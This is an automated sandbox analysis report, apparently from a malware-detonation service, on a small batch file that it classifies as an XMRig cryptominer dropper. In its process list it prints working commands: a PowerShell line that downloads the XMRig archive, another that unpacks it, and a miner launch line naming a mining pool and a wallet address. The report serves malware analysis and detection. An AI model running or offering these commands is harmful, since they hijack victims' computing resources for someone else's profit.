Analysis

  • max time kernel
    1791s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 05:51

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2084
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3288
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4380

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    188d00df7988ed7bc6eb4a30193b2482

    SHA1

    e7414add76af189c648a4ddc576c11f89a74cc9e

    SHA256

    685b8a36483e56aa2a17bb24d44c0ff3962dd2dc3952a01f4b8cdfa178d79575

    SHA512

    08950acdceab82e5e36ea351eb2d7881c1c8b0bfec5aab24d6fd9129abb8a218f94ec08d39d702dd1e3601206d94657c89c0e689f7d43e37a91fbedd8f59dbcc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jcnv21nr.fkq.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    89KB

    MD5

    3fefc1cd1645a98df2b2ef291bcacba2

    SHA1

    b6902d6fc5e76e10acc3d52095686a206844fa22

    SHA256

    b9cd81bef2e1b1c62cc356a6a6bd89af3b0a0570248ae3e694589a9636ca5c81

    SHA512

    d8172b41d1be429c4fec05f243115dbad2361c28a2d4e194301e582c517918cfb7e3a2d5266c70d6177869cc15b0b1acf49db72ac3561eb80f80a101aba06888

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    53KB

    MD5

    29242489892f8325bf2f87ec3a267588

    SHA1

    782245d51178f5cf0c7a050c99e5b00c1ba34131

    SHA256

    7d19488e1414ddfa2335e435f3b5e09be3e6e880cb8d72057fcf767164e41398

    SHA512

    4a810f4226e459c28825e74568d5f1d5f605c692bcb26cbf0cb6e913d8f2aa04cae67827391a6c8bc718caf68546b66f86310e64757d7015939856f87af65e3c

  • memory/2084-7-0x000002109F0E0000-0x000002109F0F0000-memory.dmp

    Filesize

    64KB

  • memory/2084-5-0x00007FFB4B990000-0x00007FFB4C37C000-memory.dmp

    Filesize

    9.9MB

  • memory/2084-26-0x00007FFB4B990000-0x00007FFB4C37C000-memory.dmp

    Filesize

    9.9MB

  • memory/2084-27-0x000002109F0E0000-0x000002109F0F0000-memory.dmp

    Filesize

    64KB

  • memory/2084-28-0x000002109F0E0000-0x000002109F0F0000-memory.dmp

    Filesize

    64KB

  • memory/2084-29-0x000002109F0E0000-0x000002109F0F0000-memory.dmp

    Filesize

    64KB

  • memory/2084-34-0x00007FFB4B990000-0x00007FFB4C37C000-memory.dmp

    Filesize

    9.9MB

  • memory/2084-9-0x000002109F0E0000-0x000002109F0F0000-memory.dmp

    Filesize

    64KB

  • memory/2084-4-0x000002109F040000-0x000002109F062000-memory.dmp

    Filesize

    136KB

  • memory/2084-25-0x000002109F0E0000-0x000002109F0F0000-memory.dmp

    Filesize

    64KB

  • memory/2084-10-0x000002109F370000-0x000002109F3E6000-memory.dmp

    Filesize

    472KB

  • memory/3288-40-0x000002B073E30000-0x000002B073E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-66-0x000002B073E30000-0x000002B073E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-42-0x000002B073E30000-0x000002B073E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-93-0x000002B073FA0000-0x000002B073FAA000-memory.dmp

    Filesize

    40KB

  • memory/3288-80-0x000002B074140000-0x000002B074152000-memory.dmp

    Filesize

    72KB

  • memory/3288-117-0x00007FFB4B990000-0x00007FFB4C37C000-memory.dmp

    Filesize

    9.9MB

  • memory/3288-39-0x00007FFB4B990000-0x00007FFB4C37C000-memory.dmp

    Filesize

    9.9MB

  • memory/4380-143-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-155-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-122-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-125-0x000001A212B60000-0x000001A212B80000-memory.dmp

    Filesize

    128KB

  • memory/4380-124-0x000001A212B40000-0x000001A212B60000-memory.dmp

    Filesize

    128KB

  • memory/4380-123-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-126-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-127-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-129-0x000001A212B60000-0x000001A212B80000-memory.dmp

    Filesize

    128KB

  • memory/4380-128-0x000001A212B40000-0x000001A212B60000-memory.dmp

    Filesize

    128KB

  • memory/4380-130-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-131-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-132-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-133-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-134-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-135-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-136-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-137-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-138-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-139-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-140-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-141-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-142-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-120-0x000001A211110000-0x000001A211130000-memory.dmp

    Filesize

    128KB

  • memory/4380-144-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-145-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-146-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-147-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-148-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-149-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-150-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-151-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-152-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-153-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-154-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-121-0x000001A212B20000-0x000001A212B40000-memory.dmp

    Filesize

    128KB

  • memory/4380-156-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-157-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-158-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-159-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-160-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-161-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-162-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-163-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-164-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-165-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-166-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-167-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-168-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-169-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-170-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-171-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-172-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-173-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-174-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-175-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-176-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-177-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-178-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-179-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-180-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-181-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-182-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-183-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-184-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-185-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-186-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-187-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-188-0x00007FF68F940000-0x00007FF690443000-memory.dmp

    Filesize

    11.0MB